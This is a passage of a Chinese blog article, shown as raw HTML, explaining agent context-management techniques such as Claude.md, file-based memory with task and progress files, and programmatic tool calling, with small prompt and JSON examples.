leaf="">这些其实我不会着重介绍，因为大家都介绍过了，我这次主要是想基于claude最近几个月发布的一些文章，希望能给大家带来一些输入</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">下面的这些方法其实从抽象的角度来看，Claude一直都在解决过长上下文所带来的整体效果下降的问题，claude包括manus之前也有对应的文章提过，当内容过长的时候就会造大模型对于上下文的丢失情况，处于中间部分的上下文就会缺失，因为例如通过问题重复述，以及切换上下文块这个方式来进行实现</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不过在我看来对于大模型来说，能够让大模型专注在输入内容上的上下文的空间并不是无限的，但是随着通用agent功能的不断复杂多样化（更多的agent、海量的工具），导致上下文空间变的非常紧张，所以claude一直在通过各种方法来进行上下文空间的处理，通过将精准有效的信息放置在上下文中从而不断提升整体的能力</span></p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4.1 Claude.md</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当命令行输入&gt;/init的时候，ClaudeCode就会阅读当前的项目结构，并且在当前项目的根目录下创建一个Claude.md文件</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个其实通俗的来说相当于就是用md文件来做了初始的上下文，然后后续有任何需要修改的地方其实都可以在文件上直接进行追加修改，这其实也是一种减少上下文侵占空间的一种方式</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其实我觉得这是一个非常好的作为概述的方式，我们可以通过文件的形式将我们的任务背景等情况保存下来，通过构建对应的语境来将内容提供给大模型</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100031710" class="rich_pages wxw-img" data-ratio="0.939249553305539" data-s="300,640" data-type="png" data-w="1679" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=577a5686&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzc9GSOtGTjGV2R6ASwBYLT91HazMSFRo6mFVNT4NibKXIwMEBu1bUSMQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4.2 利用文件系统作为上下文</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">传统的上下文例如langgraph、langchain等Agent框架，在实现上下文的过程中其实就是直接历史的一些任务回复信息、工具调用信息拼接在我们输入的prompt后面，这种情况在解决简单场景下其实是够用的，因为我们在解决任务的过程中并不会遇到token数量过长导致效果降低的情况，但是当我们解决复杂问题的时候上下文窗口就变得非常的重要。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当超过一个上下文的阈值的时候模型读到的不再是全文，而是支离破碎的token，因为传统Attention的成本非常高，所以像deepseekv3的论文中提到的稀疏注意力机制就是用到了一个indexer将2000个左右的相关token纳入上下文，从而降低了计算复杂度</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100031711" class="rich_pages wxw-img" data-ratio="0.6846971798428109" data-s="300,640" data-type="png" data-w="2163" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=f1fe6556&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzmLWWCo7R2e3oPictWpT1k73Pwxc2BB6MibuibEP7LMibOhA235SRicLjdJA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但是当我们使用文件系统来作为上下文的话，整体的大小就不会收到限制，并且天然保持持久化，我们可以在prompt或上下文中添加对文件的引用，那么agent在读取过程中就会额外的去按需加载我们的上下文信息</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">例如之前的prompt直接通过引用的方式来进行加载</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="markdown"><code><span leaf="">3.<span class="code-snippet__strong">**执行任务生成工作流**</span>：</span></code><br/><code><span leaf="">—加载 plan.md 并提取技术栈、库、项目结构</span></code><br/><code><span leaf="">—加载 spec.md 并提取带有优先级的用户故事（P1、P2、P3 等）</span></code><br/><code><span leaf="">—如果存在 data-model.md：提取实体并映射为用户故事</span></code><br/><code><span leaf="">—如果存在 contracts/：将端点映射为用户故事</span></code><br/><code><span leaf="">—如果存在 research.md：为设置任务提取决策</span></code><br/><code><span leaf="">—按用户故事生成任务（见下方的任务生成规则）</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">并且当我们将内容信息都存储到外部文件的过程之后我们甚至可以通过重启agent来进行实现，举个例子，当我们检测到当前的token信息快达到了上限，我们可以直接close当前的session，并且重新开启一个上下文。通常我们都会这么做我们会维护两个文件，然后在每轮对话过程中我们携带着两个文档，</span></p><ol style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding: 0px 0px 0px 2em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">task.md任务文档，用来记录当前任务的执行情况</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">进度文档，用来实时进行对进度的打勾</span></p></li></ol><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这样我们通过将文档作为记忆，从而解决传统内存侧上下文因为agent退出而丢失的情况，并且新的对话也避免了历史错误的影响</span></p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4.3 ProgrammaticToolCalling</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个其实</span><span leaf="" style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">算是比较新</span><span leaf="">颖的一种方式，但是在使用场景中还是需要去判断，但这个方式其实并不是银弹，先来展开介绍一下这个PTC吧</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">传统工具调用的过程中必然会经历以下三个过程</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="" style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">1、工具注册，将工具的描述，以及对应的输入参数提供给LLM</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="" style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">2、LLM基于当前的场景分析判断调用哪个工具，并且传递对应的参数</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="json"><code><span leaf=""><span class="code-snippet__punctuation">{</span></span></code><br/><code><span leaf="">      <span class="code-snippet__attr">&#34;tool_name&#34;</span><span class="code-snippet__punctuation">:</span> <span class="code-snippet__string">&#34;web_search&#34;</span><span class="code-snippet__punctuation">,</span></span></code><br/><code><span leaf="">      <span class="code-snippet__attr">&#34;params&#34;</span><span class="code-snippet__punctuation">:</span> <span class="code-snippet__punctuation">{</span></span></code><br/><code><span leaf="">        <span class="code-snippet__attr">&#34;domain&#34;</span><span class="code-snippet__punctuation">:</span> <span class="code-snippet__string">&#34;<a href="https://www.aliyun.com" target="_blank">https://www.aliyun.com</a>&#34;</span></span></code><br/><code><span leaf="">      <span class="code-snippet__punctuation">}</span></span></code><br/><code><span leaf="">    <span class="code-snippet__punctuation">}</span></span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="" style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">3、然后工具接收到参数之后进行调用然后返回结果</span></p><ol style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding: 0px 0px 0px 2em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"></ol><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其实从单次来看这个流程很正常，但是如果Agent需要串行执行多个工具那么在复杂场景下就会造成上下文的拥挤，并且在调用过程中也会非常慢。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但是如果我们直接让LLM来做最擅长的事情，写代码那么就可以快速执行并且节省大量Token信息,在这个场景下可以直接通过mcp在sandbox中进行代码执行，并且快速获取结果</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">output = functionA(<span class="code-snippet__string">&#34;xxxx&#34;</span>)</span></code><br/><code><span leaf="">result = funcationB(output)</span></code><br/><code><span 